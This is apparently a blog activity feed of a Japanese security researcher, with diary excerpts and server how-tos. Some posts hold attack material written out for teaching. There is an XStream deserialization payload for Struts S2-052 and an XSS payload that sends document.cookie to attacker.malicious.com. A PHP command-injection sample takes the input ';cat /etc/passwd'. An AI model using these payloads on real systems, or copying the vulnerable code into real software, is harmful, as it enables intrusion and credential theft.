gamzatti

gamzatti

  • Posted 新しいこと to Gamzatti's blog
    随分久しぶりの日記になってしまった。 突然書いた主な理由は、ログから攻撃を検知する研究をやっていて そのデータのバリエーションが不足しているから(笑) 現在の職場に出向になってから、遅ばせながら、研究の楽しさを知り、空いた時間で色々試している。 今までは元々自分がノウハウを持っている分野にフォーカスしていたけれども、やはり自分が知っていることは、既に研究されていたり、役立つことでも注目を集めなかったりするので、最近は、新しい分野や未知の分野のことを始めようかと思っている。 やっぱり新しいことを始めるのは、敷居が高いけれど、一度エンジンがかかり出すと楽しくなることが多い。 今やっていることは、まだエンジンがかかっていないので、早く走り出せる状態に持っていきたい。...
  • Posted How to export url data from Tiny Tiny RSS to Know-how sharing
    - Check path you can write SELECT @@global.secure_file_priv; - Execute the following MYSQL commands use ttrss; select title,feed_url from ttrss_feeds INTO OUTFILE '/var/lib/mysql-files/feed.csv' FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '"';...
  • Posted 二度目の海外カンファレンス発表 to Gamzatti's blog
    嬉しいことに、FIRSTに受かり、2回目の海外カンファレンス発表をできることになった。 https://www.first.org/conference/2018/ 海外カンファレンスデビューは去年の台湾だったけれど、これがとてもやりがいがあって楽しかったので、また近いうちに是非したい!と思っていた。 そのこともあり、空いた時間でコツコツと検証を進めていたのが功を成したのかと。 手を動かすのはやはり重要。 今回改めて思うのが、アイディア自体に劇的な目新しさが無くとも、 「これは他の人も思いつくかな」レベルのちょっとしたアイディアでも、 実際に検証して結果を出すとなると、その一手間を惜しむ人は多いように思う。 言い換えれば、思いつきレベルのアイディアでも、実証すると 一気に価値が上がるのではないかということ。 この意識を大切に、これからも色んな思いつきを、アイディアに留めず 実証していければ素敵だと思う。...
  • Posted Our second memorial moment for international conference to The Shatiku
    We are happy to be able to join a famous international conference as speakers. I'm really impressed that we had conducted verification for our research at a cafe at which we just received acceptance of our research. We've just...
  • Posted 10年ぶりのオランダ to Gamzatti's blog
    来週、オランダ出張へ。 オランダは、ちょうど10年前に自社で出張へ行ったことがあり、 また出張で来られるとは思っていなかった。 私にとって初の海外出張で、行きの飛行機は、嬉しさ半分、不安半分だったのを覚えている。 その頃は片道だけビジネスにグレードアップして良いというルールがあったので、 今までたった1回きりの貴重なビジネス体験も出来た。 機内では、興奮して寝られず(笑) 前回は訪問先がヒルバーサムだったので、アムステルダムはあまり回れていない。 ただ、運良く土日を挟んでいたので、週末に電車でベルギーまで行けた。 今回は、アムステルダム滞在時間も少しありそうなので、楽しみ。 今週末で仕事がひと段落したので、心身共に、思い切り満喫出来そう。...
  • Posted エンド、そして次のカウントダウン to The Shatiku
    しばらくブログを更新していなかった。 なぜなら、そんな時間がなかったから(笑) 前ブログを書いたのが9月末。まさにプロジェクトがスタートを切ろうとしている時だった。 約1ヶ月のプロジェクトを終え、先週がちょうど谷間の時期だった。 そして明日からまた第二タームが始まる。 谷間の1週間は、とても有意義に過ごせた。 久しぶりにゆっくりお酒を飲み、チームメンバーと旅行へ行き、自然に触れた。 また、新たな研究ネタを生み出すことができた。 有意義に過ごせたおかげで燃え尽きることもなく、気分転換もできて、明日からまた頑張れそうだ。 タイトなリソースの中で最大限に成果を出せたと思う。 チームメンバー、関係者のみなさん、そして何より、パートナーに心から感謝している。 この幸福がいつまでも続くことを祈って。...
  • Posted カウントダウン to The Shatiku
    一大ミッションの幕開けまで、ついに10日を切った。 4月にこの仕事を始めた時は、まだまだと思っていたのに、時間が経つのは驚くほど早い。 早いと感じながらも、とても中身の詰まった濃い日々なので、一方ではとても長い様にも思える。 思い返せば、週休二日の週は、とても少なかったが、 私はマイペースにまったりと仕事ができる週末を気に入っている。 この週末出勤を終えた後の、お酒を楽しむひとときが最高。 むしろ、遊ぶよりも気分転換になっているのかもしれない。 食事において重要なのは「味、雰囲気、パートナー」だと恩師が教えてくださったが、 これは真実で、とても素敵な表現だと思う。 遊んだり趣味に勤しむのも楽しいが、これらは自己満足の域を超えるのは難しい。 仕事でも、時々自己満足に走りそうになることはあるが、 少しづつだが、相手方の立場に立てる様になってきた様に思う。 これが年を取りつつ、経験を積むということなのかもしれない。 私たちは技術者で、実体が見えにくい仕事だが、世のために役に立てていると実感できる瞬間がある。 例え些細なことでも、これから先もずっと、世のために何かできれば素敵だと思う。...
  • Posted S2-053 to Gamzatti's blog
    引き続きでたS2-053を検証。 またOGNL関連ですね。 FreeMarkerなるタグライブラリを使って、ユーザからの入力値を参照しているような場合に影響を受けるようです。 FreeMarkerは使ったことがなく、使い方がよくわかりませんでしたが、以下の通りにやると 確かに任意のコード実行できる。 S2-053 复现分析过程(附POC) とはいえ、攻撃成立には条件があるので、影響は限られているのかもしれないと思いました。...
  • Posted S2-052 to Gamzatti's blog
    仕事がひと段落したので、前から気になっていたS2-052を検証。 ProcessBuilderなどの外部プロセスを起動するコマンドが含まれるXMLをリクエストで投げると、 XStream.fromXML()でXMLをデシリアライズする処理の延長で任意のコードが実行されるようです。 私が試したのは以下。 S2-052的POC测试 ProcessBuilderのcommandメソッドの仕様は、引数が持つプログラムを実行したい場合、 ProcessBuilder pb = new ProcessBuilder(); pb.command("touch", "/tmp/attack") のようにcommandメソッドの引数に指定するので、 <command> <string>touch</string><string>/tmp/attack</string> </command> のように指定すると、好きな外部プロセスを起動できてしまう。 自サーバに入れているフィルタはOGNL系の文字列をブロックするようにしていますが、 今回はOGNL系の攻撃ではないので、これでは防げない。 リクエストにjava.lang.ProcessBuilderとかjava.lang.Runtimeなどが入っていたらブロックする、 なども検討した方がいいのかもしれないなと。 引き続き調査です。...
  • Posted With energy, anyone can do anything. to The Shatiku
    ずっと目標にしていた海外カンファレンスでの発表を無事終えた。 数ヶ月前に「このネタはなかなかいけそうだ」と話していた時は、ここまで実現できるとは思っていなかった。 周りの方々の助けがあったり、運が良かったことなどもあるが、 色んなタスクがある中で、短期間でよくここまで来れたと思う。 一番大きいのは、やはり相方がこつこつと検証し続けた成果の賜物だと思っている。 情熱を持ちつつ、地道に努力することは決して無駄にならず、とても大切なのだと再実感。 短い期間だったが、初の台湾も満喫できた。 時間が限られていたこと、大きなミッションを抱えていたこと、そしてそれがうまくいったこと、 が、さらにこの旅を濃縮された、充実したものにしてくれたように思う。 私たちのお気に入りの瞬間。...
  • Posted VIPルームと日本酒。 to The Shatiku
    夏休み3日目のワーキングディ。 休みにも関わらず、朝9時頃から活動開始。 早くから活動開始したお陰で、盛りだくさんだった今日の目標タスクも無事完了! 今日のメインの活動場所はカラオケ。 ノマドするカフェ巡りに困ることがあるけれど、昼間のカラオケのフリータイムはなかなか良い選択肢かもしれない。 カフェを巡るより安い、静か、人目を気にせずプレゼンの練習もできる、 さらに、気分転換に歌って踊れるw しかも今日は幸運なことに、VIPルームなるパーティルームが偶然空いていて、5時間くらい 広々とした部屋とふかふかのソファーを堪能できるという。 その後はさっと残りのタスクを終わらせ、アジアンビストロと日本酒が美味しいお店でアフターを楽しむ。 全職場の先輩にプレゼントした懐かしの日本酒があって、美味しい海鮮料理と共に、久しぶりに日本酒を味わう。 休日出勤をこんなに楽しめるなんて、幸せなことだ。...
  • Posted 仕事と共に、お酒を楽しむ to The Shatiku
    夏休み2日目のワーキングディ。 今日はひたすらプレゼンの英語スクリプトを書く。 あまり何も考えずに書いたけれど、ざっと読み合わせをしたら、 結構ばっちりな時間配分とボリューム。 後はひたすら練習あるのみ。 夜は、お洒落カフェでスクリプトとプレゼンと一緒に公開するコードの クロスチェックをしながら、お酒とおつまみを嗜む。 こういうシチュエーションが楽しめるのも私たちの良いところ。 その後はカラオケでスクリプトの読み合わせの練習をして、 余った時間はまたひたすら歌って踊るw 公私混同や仕事とプライベートは明確に区別すべき、 という意見もあるけれど、私は、休日でも好きな時に働いて、 疲れたら気ままに休み、遊ぶのも仲々良いと思う。 お酒の場では、他愛のない話や恋愛話、噂話などをするのも良いが、 こんな飲み方も仲々素敵だと私は思う。...
  • Posted 気分転換は歌って踊れ。 to The Shatiku
    カレンダーでは今日から夏休み。 でも、私達にはタスクが山積みなので、活動活動。 今日は海外カンファレンスのプレゼン資料のサブミット期限。 ギリギリになったものの、なかなか良い資料になったと思う。 協力いただいた皆様には、本当に感謝しています。 直前になって、検証ツールのバグを発見。 危なかった。。。でも、見つけられて良かった。 他人に公開するプログラムを書くのは3年ぶりくらいか。 商用製品程ではないにしても、やっぱり責任感が違う。 久しぶりにコード解析ツールでもかけてみようかな。 サブミット後は、講演の練習のためにカラオケに行くも、 開放的な気分になったからか、歌って踊って終了(笑) 気分転換も必要だ。だって夏休みだもの。 その後は、軽いシンガポール料理とお酒を嗜んで、夏休み第一日目のshatiku活動終了。 明日からまた頑張ろう。...
  • Posted 追い込まれているからこそ、楽しい to The Shatiku
    今日、改めて8、9月のスケジュールを再確認。 スケジュールのストイックさにはかなり前から認識してはいたけれど、可視化するといよいよリアルにw 可視化って重要だ。 チーム全員がのこのやばさを再認識したので、これからは一丸となって、 コストは最小限に、良いものを作る方向に向かっていけるだろう。 そう言えば、昨年も10月に一大ミッションがあって、一年前のこの時期も ストイックに活動していた気が。 でも、楽しかった記憶しかない(肉体は多少しんどかったけれど) 一年後も同じように振り返れていることを祈って。...
  • Posted 海外カンファレンスの夢 to The Shatiku
    地道な努力が実り、初の海外カンファレンスにパスした。海外カンファレンスでの発表は、夢であり目標でもあったので、相方共々アドレナリン全開中。 というわけで、先週末のshatiku 活動は、田園都市線沿いのカフェでカンファレンスの準備。 休みの日も仕事?と思うかもしれないが、私はこれを辛いと思ったことはない。むしろお洒落なカフェでくつろぎながら、マイペースに仕事ができるので私はこの時間がとても気に入っている。 大変なのが、ノマドワーキングに適したお店を探すこと。休日の繁華街や駅前はどこも混んでいる。お店選びを間違えると、作業の効率が落ちてしまう。 人が多い駅でも、住宅街の裏通りや、ビジネル街の方面は意外と空いている。穴場のお気に入りスポットを見つけておくのがポイント。 私達は恵まれたことに、業務端末が電源持ちが良いMACで、さらに通信無制限のモバイルwifiルータを会社から支給されているので、電源とwifiの環境はあまり意識したことがない。 最近のお気に入りは、スターバックスのneighborhood and coffee。ノマドをするようになって知ったが、地元密着型のスタバらしく、通常のスタバにはないメニューがあったり、内装がお洒落だったりする。あまり知られていないのか、意外と空いている。 ノマドワーキングをした日は、仕事を片付けてからのひと時の飲みが恒例。目標を達成した後のお酒は最高。 よく働き、よく遊ぶ、が人生を豊かにするポイントだと私は思っている。...
  • Posted よく働き、よく遊べ。 to The Shatiku
    "Shatiku"というとどのようなイメージを持つだろうか? とある辞書サイトによると、"仕事に非常な情熱を傾ける人のこと" らしい。 私は決してネガティブな意味でこの言葉を使っているのではなく、 仕事の楽しさ、素晴らしさを表現するために、このブログを立ち上げた。 私は今社会人13年目。 仕事にも仲間にも恵まれ、忙しいながらとても充実した毎日を送っている。 これは、私たちの汗と涙と感動(?)の活動記録と、社会で戦う皆さまへのメッセージ。...
  • Posted httpdのログをsyslogサーバに転送して、ファイルを分けて保存する to Know-how sharing
    httpdのログをsyslogサーバに転送して、ファイルを分けて保存する - 送信元ホストの設定 /etc/httpd/conf/httpd.confに以下を追記 <IfModule log_config_module> CustomLog "|/usr/bin/logger -p local5.info -t httpd_access" combined /etc/rsyslog.conf に以下を追記 local5.* @@reverse-edge.com:514 - syslogサーバの設定 /etc/rsyslog.conf コメント解除 $ModLoad imtcp $InputTCPServerRun 514 以下を追記 $template httpd,"/var/log/syslog/%hostname%/httpd/%programname%.log" local5.* -?httpd - 上記設定をすると、送信元ホストごとに /var/log/syslog/{hostname}/httpd というディレクトリにhttpdのログがフォワードされるようになる 参考) https://www.server-world.info/query?os=CentOS_6&p=rsyslog https://genchan.net/it/server/4127/ https://orebibou.com/2017/03/apache%E3%81%AE%E3%83%AD%E3%82%B0%E3%82%92rsyslog%E3%81%A7%E8%BB%A2%E9%80%81%E3%81%99%E3%82%8B/...
  • Posted Business trip in Paris -part1- to Gamzatti's blog
    7月末にパリ出張へ。 9年前に出張でオランダのHilversumに行って以来、人生二回目のヨーロッパ。 ヨーロッパが二回とも出張って、IT 系にしては珍しいので幸運だと思う。 今回のミッションは日本で開催していないセキュリティ系のトレーニングを受講することだったので、スケジュール的にも余裕があり、色々楽しめた。 1日目は12時間半のフライトを経て、現地時刻16時半にシャルル・ド・ゴール空港に到着。 "RER"(rarではない:-)) と呼ばれる高速郊外鉄道でパリ市内へ。 海外へ行くと、大抵最初に迷うのが電車の乗り方。 パリはメトロがたくさん走っていて、今回も路線や切符の買い方に少し迷う。 Denfert-Rochereauという駅で降りてホテルへ。 RERは郊外電車らしく、一駅の間隔が長いので、ホテルに着いた頃には結構良い時間になっていた。 移動疲れもあるので、初日の夜はホテルのラウンジで夕食を済ませることに。 このラウンジがとても良かった。静かで落ち着いていて、料理も美味。 何より驚いたのが、夏のパリは日没が遅く、22時頃まで明るいこと。 夕食後は部屋から美しい夕日が見えた。 パリ旅の幕開けは、こんな感じでスタート。...
  • Commented on Install MySQL on CentOS 7 using yum
    CentOS7 に MySQL をRPMでインストールする cd /var/tmp wget http://dev.mysql.com/get/Downloads/MySQL-5.6/MySQL-5.6.36-1.el7.x86_64.rpm-bundle.tar tar xvf MySQL-5.6.36-1.el7.x86_64.rpm-bundle.tar rpm -Uvh MySQL-server-5.6.36-1.el7.x86_64.rpm ※インストール中以下のメッセージが表示される A RANDOM PASSWORD HAS BEEN SET FOR THE MySQL root USER ! You will find that password in '/root/.mysql_secret'. rpm -Uvh MySQL-client-5.6.36-1.el7.x86_64.rpm ※クライアントを入れないと、mysqlコマンドが使えない mysql --version...
  • Posted Install MySQL to CentOS7 using RPM to Know-how sharing
    CentOS7 に MySQL をRPMでインストールする # cd /var/tmp# wget http://dev.mysql.com/get/Downloads/MySQL-5.6/MySQL-5.6.36-1.el7.x86_64.rpm-bundle.tar# tar xvf MySQL-5.6.36-1.el7.x86_64.rpm-bundle.tar # rpm -Uvh MySQL-server-5.6.36-1.el7.x86_64.rpm ※インストール中以下のメッセージが表示されるA RANDOM PASSWORD HAS BEEN SET FOR THE MySQL root USER !You will find that password in '/root/.mysql_secret'. # rpm -Uvh MySQL-client-5.6.36-1.el7.x86_64.rpm※mysqlコマンドを使うために必要 # rpm...
  • Posted s2-048 to Gamzatti's blog
    s2-048の脆弱性、 自分のサーバがやばいかなと思ってPoCを実行してみたら、 s2-045 の時に作ったサーブレットフィルタがブロックしてくれていました。 あまり脆弱性の詳細をちゃんと調べていないけれど、s2-048もペイロードを見たらやっぱりOGNL関連だからかな。 リクエストに含まれるOGNLコードをサーブレットフィルタやWAFでブロックするのは、回避策としてなかなか効果がありそうです。...
  • Commented on Install MySQL on CentOS 7 using yum
    In MySQL 5.7, initial setup method has been changed. Check root initial password. # cat /var/log/mysqld.log | grep 'temporary password‘ 2017-06-18T13:39:33.902255Z 1 [Note] A temporary password is generated for root@localhost: hNY5yEv&%f2- Change Password using mysql_secure_installation # mysql_secure_installation...
  • Commented on Implementation of SSL
    Before update certificate, need to stop httpd. service httpd24-httpd stop...
  • Commented on Installation of php from source (CentOS7)
    yumでphp,httpdをインストールした場合は、インストール後httpdの再起動のみでapache上でphpが実行できるはず。 # yum info php ・・・中略・・・ 名前 : php バージョン : 5.4.16 # yum install php # rpm -qa | grep php php-cli-5.4.16-42.el7.x86_64 php-5.4.16-42.el7.x86_64 php-common-5.4.16-42.el7.x86_64 # php -v PHP 5.4.16 (cli) (built: Nov 6 2016 00:29:02) systemctl restart httpd...
  • Posted Technical repot of WannaCry to Gamzatti's blog
    今話題騒然のランサムウエアをチームみんなで分析しました。 http://sisoc-tokyo.iii.u-tokyo.ac.jp/wp-content/uploads/2017/05/20170518_WannaCry_report.pdf...
  • Posted How to Install Elasticsearch+logstash+kibana on CentOS to Know-how sharing
    How to Install Elasticsearch+logstash+kibana on CentOS - Install Elasticsearch by following. https://www.elastic.co/guide/en/elasticsearch/reference/5.3/rpm.html - Configure Elasticsearch https://www.elastic.co/guide/en/elasticsearch/reference/5.3/settings.html /etc/elasticsearch/elasticsearch.yml network.host: 153.126.171.84 - Start Elasticsearch /etc/rc.d/init.d/elasticsearch start $ curl localhost:9200 { "name" : "yPjLETS", "cluster_name" : "elasticsearch", "cluster_uuid" : "fFp2Z0L8RxyKa7f26TEPng", "version" :...
  • Posted Vulnerable sample code -XSS- to Know-how sharing
    XSS XSS - 要素の内容にスクリプトを注入 -サンプルコード1 <?php $username = $_GET["username"]; session_start(); print " ".$username; ?> -攻撃コード - ダイアログを表示 usernameに以下を入力 <script>alert(document.cookie)</script> http://hogehoge.com/xss.php?username=%3Cscript%3Ealert(document.cookie)%3C/script%3E - cookieを攻撃者のサーバに送信 http://hogehoge.com/xss.phpusername=<script>window.location= 'http://attacker.malicious.com/attack.php?'+document.cookie;</script> 実際にはURLエンコードが必要 攻撃者サーバのアクセスログ GET /attack.php?PHPSESSID=486kotqq25ij9t3tj0nq0ebp25 HTTP/1.1" 200 94 "http://hogehoge.com/xss.php?username=%22%3E%3Cscript%3Ewindow.location%3D%27http%3A%2F%2Fattacker.malicious.com%2Fattack.php%3F%27%2Bdocument.cookie%3B%3C%2Fscript%3E%3C!--" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:52.0)...
  • Posted Vulnerable sample code -OS command injection- to Know-how sharing
    OS コマンドインジェクション - 脆弱なコードの例 <html> <body> <form name="mailForm" action="mail.php" method="POST"> メールアドレス: <input type="text" name="email" size="40"><br> <input type="submit" value="send"> </form> </body> </html> <?php $email=$_POST['email']; system("echo 'hello' | sendmail ".$email); print "メールアドレス:".$email; ?> - 入力 user1@example.com;cat /etc/passwd - 対策 - エスケープする...
  • Posted How to use stored procedure in PHP to Know-how sharing
    How to use stored procedure in PHP - Create procedure delimiter // CREATE PROCEDURE selectOrders(IN user varchar(255), IN keyword varchar(255)) BEGIN SELECT * from orders where username=user and ordername =keyword; END; - Check procedure show procedure status; +----------+--------------+-----------+----------------+---------------------+---------------------+---------------+---------+----------------------+----------------------+--------------------+ |...
  • Posted How to implements webshell using JSP to Know-how sharing
    Look at the source code here....
Subscribe to feed Recent Actions from gamzatti

Following

Not following anyone

About This Page

Find recent content on the main index or look in the archives to find all content.

Categories